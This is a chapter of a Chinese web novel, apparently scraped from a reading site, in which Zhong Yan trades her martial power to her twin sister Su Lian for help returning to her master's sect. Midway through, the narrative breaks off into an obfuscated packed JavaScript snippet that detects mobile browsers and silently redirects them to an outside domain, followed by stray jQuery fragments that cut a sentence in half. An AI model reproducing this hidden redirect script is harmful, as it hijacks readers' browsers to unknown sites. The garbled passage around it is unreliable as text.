53. 人间万事何时了·其二

作品:《我是师尊的白月光

    李婆满红光满满的面上难得泛出丝惆怅,转头看了眼东侧的神追殿,烦恼道:“自周护法走后,圣女每夜皆不肯好好安歇,只在周护法的灵位前打坐调息。可周护法已被天火焚化,去往永生极乐守护焚玉圣女了。人间苦短,总有相见之日,实在无须悲痛。您是圣女的亲妹妹,快去劝劝她吧。”


    钟滟迟疑:“周护法是?”


    “是教中左护法周觅,他本是焚玉圣女的侍卫长,又孤身探入九龙迷魂冢,将还在襁褓之中的小圣女救了回来,后得封左护法,统领教中六堂,最是忠诚可靠。可惜半年前,中原狗贼围上山来……”


    李婆面上漏出丝畏惧,压低嗓子解释道:“他糟了右护法阿耶那的毒虫暗算,一身功力使不出来,扛了中原狗贼二十多刀,才力竭倒下。”


    钟滟心中暗暗思量,面上仍作出一片迷茫,打探道:“阿耶那是神焰教右护法,为何要帮着外人暗算周觅?”


    李婆叹息一声:“阿耶那并不和我们六堂汉人们一条心,他本是前朝土司,手下的五毒、合欢、赤练三宗中多是苗夷族人,说的话叽里咕噜,咱们听也听不懂。他们苗人自古便在蜀地生长,不肯信外来的圣火真言,只凭阿耶那差遣。以前老教主还在的时候,阿耶那尚不敢造次。老教主一病危,那老毒物便迫不及待跳起来咬人了!”


    李婆越说越气,音量也逐渐控制不出,露出些悲愤来:“你说这么多年,哪次有好处,老教主不是先给他阿耶那?待他如此之厚,他竟还勾结外人,真是养不熟的白眼狼,狗东西!”


    “圣女就是心肠太软,那老毒物犯下如此罪孽,竟还不忍杀他,只罚了戒鞭三百,便草草算了。你说刑堂那帮软骨头小子哪个见了那老毒物敢真下手抽?外一抽出只毒虫来没了命可怎么好?”


    钟滟默了片刻,才缓缓道:“看来姐姐在教中的日子,并不好过。”


    李婆一拍大腿,赞同道:“可不是嘛。圣女小小年纪,老教主与周护法便一前一后身归光明极乐了。教里六堂三宗那么大个烂摊子,留她一个人孤苦伶仃的,还要与那老毒物周旋。这些日子以来,哪日不忙到深夜?偏她还不肯好好睡觉,再这样下去,铁打的身子也支撑不住啊!您是她世上唯一的亲人了,快去劝劝吧。”


    钟滟被李婆推搡着出了门,向神追殿行去。


    道路并不长,她却踟蹰了许久。


    月光也在足前的石板路上低垂徘徊,如霜如雪。


    岁末冬至,蜀地却并不下雪,她又想起往年这个时候,二师兄窝在厨房里包饺子捏粽子,十里外都能闻到饭菜的香气,她就跑到夕照居外软磨硬泡,非要拉着师父下来与他们一道赏景堆雪。


    林维清面上冷淡,心却软得很,耐不住她撒娇,挽雪出鞘三两下,便将她堆起的巨大雪球塑成几只冰雪可爱的小狐狸、小兔子。有一次被她缠得实在头疼,还雕了个正在推雪球的她,寥寥几笔,却是活灵活现,栩栩如生……


    唇角刚出半分浅笑,神追殿的牌匾便映入了眼帘。


    钟滟敛了笑意,抬手欲敲,门却已被苏潋打开了。


    她仍是一身红缎软裙,却长发披散,素妆不点,斜斜靠在门楹上,在月下露出一张与她一模一样的娇嫩容颜。


    没了白日里浓妆后那股睥睨天下的气势,那张反而与她更为相似的脸还是震到了钟滟。她抿了抿唇,声线有些干涩,结巴道:“我……来找你做个交易。”


    “哦?”苏潋眉间一挑,露出几分兴致:“怎么说。”


    钟滟绞了绞手指,只觉她的目光似能洞穿人心,无半点矫掩之机。


    她却也不是来害她的。


    少女挺了挺脊背,莫名有些紧张,真诚道:“我知道你想要我身上的极意功,我可以给你,但……你要帮我重回云山。”


    苏潋嗤了一声,伸手捏了捏她脸颊的软肉,教训道:“林维清他就没有教过你?与人谈判时,不要一上来就把底牌亮给人看。”


    钟滟怔怔,不解地看着她,明知毫无半分胜算,却仍硬着头皮把话说完:“我知道你需要我身上的功力。没有我,你便不敌阿耶那,控制不了他手上的势力,也无法彻底掌握神焰教,为周护法报仇。你需要变得像苏千秋一样强,强到他忌惮你,不得不听命于你。”


    苏潋的表情在她提到周觅的一瞬似有些狰狞:“李婆的嘴也太碎了,我在此处是为祖父守灵,与周觅有什么相干?”


    钟滟蹙了蹙眉,不解其间的关窍,反问道:“你夜夜在此处,是为苏千秋守灵?”


    ……可你看上去,一点儿也不喜欢苏千秋。


    两姐妹对望一眼,忽而同时都错开了目光。


    苏潋清了清嗓,扯出一个倦怠的笑,也懒得再和这实心眼的二百五妹妹绕弯子,直接道:“你就不能留下来帮我,或者直接去替我杀了阿耶那?”


    钟滟摇了摇头:“我又不傻,阿耶那是苏千秋都奈何不了要喂好处留下的人,凭我怎么动得了?魔……神焰教中事务繁杂,我又不会,何况你也不会想让我帮忙。”


    苏潋被她逗笑了,语气轻佻:“那你就不担心,我受了你的功力后,反手便将你一刀砍了?”


    钟滟定定地看着她,语气干净认真,没有半点挑衅或嘲讽:“我只是觉得,你不会这样做的。毕竟我是你这世上唯一的亲人了,不是吗?”


    与她对视片刻,苏潋忍不住揉了揉眉心,叹息道:“你是不是也觉得,孪生血缘真是种令人讨厌的东西?”


    钟滟会心一笑,知道她是答应了,再开口时便不自觉地带上了分从前的亲昵:“蓝姐姐,我可以将功力给你。但我要你发誓,你永远不会用身上的功力对付中原武林中人。”


    苏潋勾唇,懒懒讽道:“谎言誓言于我不过梳头饮水,我纵是发上一百一千遍,你又会信?”


    钟滟:“所以我要你发誓,若你违背了誓言,周觅便魂飞魄散,永生再无极乐。”


    苏潋的容色瞬间凉了下来,一言不发,转身入了神追殿,袖风狠狠合上了门。


    钟滟叹了口气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807870|172920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回到寝居,开始了耐心的等待。


    她知道,苏潋会答应的。


    十日后,苏潋果然出现了。


    她遣散了石室中的所有仆役,开口第一句却是劝阻:“你将功力度我,是帮了我一个大忙。可你如此行为,与叛出师门无异。你可想好了?你当真不在意正邪之分,不在意你师父多年的教诲了?”


    钟滟歪了歪头,反问道:“你算计我至此,不就是想断我所有退路,一心一意待在神焰教为你所用,再无背叛可能。怎么现在我都答应了,你还犹疑不定?”


    苏潋唇角扯出一丝嘲讽,没好气道:“若极意功真那么好传,世间早就遍吸人修为的大魔头了。传功途中,但凡你心中有半分犹疑不愿,你我都会气行逆错,两败俱伤。”


    钟滟一笑,目光澄明:“师父从来教的都是秉持心中的正邪善恶,不负初心。他从未教过我一叶障目,人云亦云。我相信我的眼睛,神焰教虽为中原武林宿敌,但并不算是邪魔歪道。在巴蜀,神焰教收容了无数流离失所的难民,组织他们清岁淤,治水利,垦荒地,比官府都还靠谱一些。你是神焰教未来的教主,这功力在你身上,比在我身上有用得多。”


    苏潋迟迟未语,埋在阴影下的面容神色难辨。


    钟滟解释:“苏千秋死后,神焰教内势力四分五裂,足够你收拾上很多年了。所以我要你发下重誓,希望你重整神焰教后,与中原武林和平共处,不要再起无意义的兵戈。”


    苏潋都被她逗笑了,讽道:“这样天真,不愧是林维清门下弟子。好啊,我可以发誓,可要送你回云山,却不是那么好办的。”


    “如今你已是江湖人尽皆知的妖女,断不能以钟滟的身份回去。想重进云山内门,唯有登山拜师一途。除非你能重回你幼年时的身量,否则我劝你还是换个条件,死了这条心吧。”


    钟滟眉心一揪,露出几分急色:“你扮蓝鸱儿时,五官形体浑然天成,毫无破绽,绝不是人皮面具能为。你肯定有办法的!”


    苏潋一笑,耐心解释道:“易形功须得从幼童时练起,年岁大了,再修起来事倍功半,至少得受五六年的针药软骨之痛。何况即便你易形去了云山,林维清也不一定会择你为徒,这是没有意义的事。”


    钟滟脱口道:“我愿意赌!师父……肯定会选我的。”


    苏潋似是被少女眼中那毫无道理的纯粹执拗灼得一疼,她侧过身,声音冷硬:“就算你师徒间当真心有灵犀,长期维持缩骨易容也极是损伤身体。你本就只剩十年之寿,这样一番折腾下来,你觉得你还能活多久?以十年寿命换一年相伴,何必呢?”


    “只要能再回到玄晖峰,和师父相伴,我什么都愿意。”钟滟忍不住上前半步,牵住苏潋深红绣金的华丽袖摆,晃了晃:“蓝姐姐,你就帮帮我吧。”


    苏潋沉默片刻,叹了口气,让步道:“你夜里来神追殿,先受一次软骨针,能熬下痛来再说吧。”


    “好!”钟滟一瞬展颜而笑,眸中的神采明亮得让人心悸。